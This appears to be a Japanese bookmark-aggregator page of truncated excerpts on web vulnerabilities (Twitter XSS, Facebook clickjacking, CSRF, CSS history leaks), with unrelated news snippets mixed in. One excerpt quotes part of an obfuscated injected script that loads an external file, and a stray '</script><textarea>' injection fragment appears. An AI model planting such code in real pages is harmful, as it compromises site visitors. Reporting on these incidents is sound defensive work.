最近僕が発見し、修正されたTwitterの脆弱性を3つ紹介します。 1.旧Twitterの文字列処理に絡んだXSS 去年の夏くらいに、Twitter Web上で € 〜 ÿ の文字参照が含まれるツイートをXMLHttpRequestで読み込んだ際に表示が乱れるという問題に気付き*1、その時はこれは脆弱性には繋がらないだろうという判断をしたのだけど、今年の4月になって改めて調べたところ貫通しました。 表示が乱れるというのは、€ 〜 ÿ の文字参照が含まれるツイートがあると、一部の文字が\XXXXの形式に化けたり、ツイート周辺の「"」が「\"」になったりするものだったのですが、今回は「"」が「\"」になる点が脆弱性を発生させていました。 この条件でXSSさせようと思ったら、ツイートを細工してURLや@や#などオートリンクが作成される部分にうまいことイベン
Facebookのセキュリティ周りについてのリサーチと文章 元のtxt クリックジャッキングで訪問者のFacebookアカウントを取得するスクリーンキャプチャ 文責/連絡先 ma.la mailto:timpo at ma.la / @bulkneets Facebookの問題点に関するテキスト 1 ====== はじめに ------ この文章はma.laが書きました。これは 2011-03-17 に書かれました。 脆弱性の検証に関する実験はそれ以前に行われています。 この文章では、ユーザーの認可無く悪意のあるサイトからアカウントを特定されるリスクと、その対策について書いています。 まず最初に謝りますが、業務上必要であるのでFacebookアカウントを複数取得しています。私は業務上、Facebookアプリケーションの安全性の確認やFacebookのプラットフォームとしての安全性、自社サー
RT @hmcy2 あとご報告ですが彼女ができました→ @lovecall 幸せにします
これは、Mozilla Security Blog の記事 Plugging the CSS History Leak (英文) の抄訳です。Web 開発者の方は Mozilla Hacks の記事抄訳 CSS の :visited に行われるプライバシー対策 も参照してください。 プライバシーの保護は必ずしも簡単なことではありません Mozilla では近く、以前からブラウザ各社が取り組んでいる個人情報漏えい問題の対策を Firefox の開発ツリーに追加します。私たちはこの改善を非常に楽しみにしており、他のブラウザも後に続いてくれることを期待しています。しかし、これは解決が難しい問題であるため、Mozilla がなぜこのようなアプローチを取ることにしたのか説明しておきたいと思います。 履歴の取得 Web ページ上のリンクは、ユーザがそのリンク先を訪れたことがあるかどうかによって見た目が
タイトルは出来れば関連する方に読んで欲しかったので、軽く釣り針にしました。すみません。:*) 最近はやりのヒウィッヒヒー（Twitter）でも、よく「○○ったー」みたいなサービスがばんばん登場してますね！ おかげでますますツイッターが面白い感じになってて、いい流れですね！ でも･･･ちょっと気になることが･･･ 最近「もうプログラマには頼らない！簡単プログラミング！」だとか･･･ 「PHPで誰でも簡単Webサービス作成！」だとか･･･ はてなブックマークのホッテントリで見かけますよね･･･ プログラミングする人が増えるのは素敵です！レッツ･プログラミングなう！ なんですけど･･･ ちゃんとセキュリティのこと考えてますか･･･！？ 『セキュリティ対策とか難しいし面倒くせーし、俺の適当に作ったサービスとかどうなってもイイしｗｗ』 いいんですいいんです！ 別にそう思ってるならどうでもいいんです！
2010年02月15日お知らせ pixiv事務局です。 このたび、一部ユーザー様の作品へのコメントが改ざんされたとの報告があり、弊社にて調査をいたしましたところ、「作品のコメント欄」の脆弱性を利用した不正が行われていた事実が判明いたしました。 本件の詳しい状況につきまして、下記の通りです。 ・経緯 2010年2月5日より2月14日までの間、一部ユーザー様の作品において、ユーザー様の意図によらないコメントが書き込まれた旨のお問い合わせを頂きました。 お問い合わせをいただいた後、該当する全てのサーバのログ・関連データベースを調査しましたところ、問題となったコメントの書き込みの前に、あるURLへアクセスし、外部サイトを経由をした後にコメントを投稿した形跡を発見しました。 また、本不具合を利用したアクセスを調査しましたところ、影響があったのは作品へのコメントの書き込みのみで、他の機能へ
1週間ほどハッキングに悩まされております。 私の管理するサイト数件がいっせいに被害にあっています。 ＷＥＢサイトに下記のようなコードが埋め込まれるのです（念のため転記は一部）。 <script>/*GNU GPL*/ try{window.onload = function(){var Xi3ref6qv5 = document.createElement('s$^$(c($r)i))^p!^!#t^(!'.replace(/\!|\^|#|@|\)|\(|\$|&/ig, ''));Xi3ref6qv5.setAttribute('type', 'text/javascript');Xi3ref6qv5.setAttribute('src', 'h^$$t$^&t^&$))p$)&:$^)/(^/!^t@i@!s(!（以下略） ネット上で同じような被害が多発している旨見まして、手動でコー
私もわかりません、何を考えているんでしょうか RT @amebanow: いろんな人から「こんにちはこんにちは！」って言われるけど、なんで2回言うのか意味がわからないなう。
コミュニティーサイト構築に詳しい専門家は、「CSRF対策は基本的なところ。Amebaなうが対策していなかったのは意外だ」と話している。 「CSRF対策は基本的なところ」と言われると、発見も対処も容易であるような印象を受けますが、これは少し違和感がありますね。 半年ほど前の話ですが、弊社 (www.b-architects.com)のクライアントが新規のECサイトを立ち上げるにあたって脆弱性診断をしようという話になり、外部の会社に見積もり依頼をしたことがあります。その際、業界では知らない人がいないような大手会社の診断メニューも見せていただきました。 そこで印象的だったのは、標準とされるプランにCSRFの診断が含まれていなかったことです。標準のコースにはXSSやSQLインジェクションの診断が含まれますが、CSRFは「アドバンスド」プランの方にしか含まれていませんでした。普通のサイトではXSSや
kana-kana_ceo これはべんり, セキュリティ 悪いのは、情報を盗もうとしたり、改竄したりする人たちなので、対策しなくてもいいはず。対策しないとカンチョーするなら、プログラマは全員檻に入れて隔離するべき。 すごい。こういう考えの人のために、WEBサービスや金融サービスは、パスワードありかなしかを選べるようにするべきだし、ブラウザもスクリプトで自由にクロスドメインで通信・操作できる「聖人仕様」のものを選べるようにするべきだと思った。 たとえ裏でこっそりメールの内容が盗み見られていたとしても、気づかれないうちにお金が盗み出されたりしたとしても「悪いやつが悪いのだから対策などしない」これはかっこいいのかもしれない。(Hamachiya2)
サイバー・ノーガード戦法（サイバーノーガードせんぽう）は、意図的にセキュリティ対策を放棄してコンピュータを利用すること[1]。 この用語は、情報セキュリティを専門とするニュースサイトの Scan NetSecurity が2004年に考案した[2]。背景として、前年にコンピュータソフトウェア著作権協会 (ACCS) のWebサイトの脆弱性を公の場で指摘した京大研究員が、礼を言われるどころか逆に不正アクセス行為の禁止等に関する法律（不正アクセス禁止法）違反と威力業務妨害の疑いで逮捕されるという事件があった[3]。Scan NetSecurity はこの件で、不手際のあったサーバ管理者側が刑事責任を問われず、個人情報漏洩の被害者に補償も行われなかったことに着目し、セキュリティ対策の意図的な放棄は、費用を節約できリスクも無視できる「新しい形の防御方法ともいえるのではないか」と逆説的に主張した[4
2009年11月12日、三菱UFJ証券事件の判決が下された。この事件は、三菱UFJ証券のシステム部長代理が、顧客情報149万人分を持ち出し、約5万人分を売却したものである。ちなみに、149万人というのは、同社のほぼ全顧客なんだそうである。要するに、全顧客データを持ち出されたわけだ。キャバクラで散財して借金を作ったのが原因というからお粗末である。不正アクセス禁止法と窃盗の罪で懲役2年の実刑判決だった。 三菱UFJ証券は、この事件で個人情報が漏えいした約5万人に対して1万円のギフト券を配布した。約5億円の損害だ。過去の個人情報漏えい事件では、500円から1，000円のお詫びが多かったことを考えると、飛び抜けて高い金額である。さらに合計5億円というのも多い。 さらに同社が被った損害はこれだけではない。報道によれば、検察が試算した損害額は、なんと70億円。顧客からの問い合わせ対応、弁護士費用、
前の日記にも書いたけれど、 ぼくの名前をかたったウイルスがアメブロに広まっていたみたいなので、 ちょっとだけ調べてみたよ。 (参考) [ほまち] gooブログ検索 ぼくのIDって「hamachiya2」なんだけど、それとすごくよく似たIDを誰かが取得して、そのIDのプロフィールページに変なコードが仕掛けられてあったみたい。 ざざっと調べた感じだと、下の４つのIDを確認したよ。 homatiya2 (ほまちや２) [プロフィールの魚拓] [画面キャプチャ] homachiya2 (ほまちや２) [プロフィールの魚拓] [画面キャプチャ] hamatiya2 (はまtiや２) [プロフィールの魚拓] [画面キャプチャ] hamachya2 (ぼくはまちちゃん！こんにちは…) ※綴りに「i」がない [プロフィールの魚拓] [画面キャプチャ] いずれもプロフィールページに「 http://bit.
错误摘要 HTTP 错误 404.0 - Not Found 您要找的资源已被删除、已更名或暂时不可用。
</script><textarea>
渋谷耕太容疑者が盗んだＡＫＢ４８メンバーあての郵便物。中にはレッスンの日程表も含まれていた＝１６日、埼玉県警浦和署 人気アイドルグループ「ＡＫＢ４８」メンバーあての郵便物を盗んだとして、埼玉県警浦和署は１６日、窃盗の疑いで、東京都渋谷区中落合の無職、渋谷耕太被告（２５）＝窃盗罪で起訴＝をさいたま地検に追送検した。 浦和署によると、渋谷容疑者はすでに起訴されている分も含め、平成２０年９月から今年８月にかけて、メンバー１１人にあてた手紙や携帯電話の請求書などの郵便物約２００通を盗んでいた。渋谷容疑者は容疑を認め、「ＡＫＢ４８のファンで、メンバーのものは何でも手に入れたかった」などと供述しているという。 追起訴分の容疑は、２０年９〜１０月、メンバーの１人にあてたはがき２通を盗んだ疑い。 浦和署によると、渋谷容疑者は２０年９月から、メンバーのうその転居届を順次、東京都新宿区内の郵便局に提出し、自宅
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
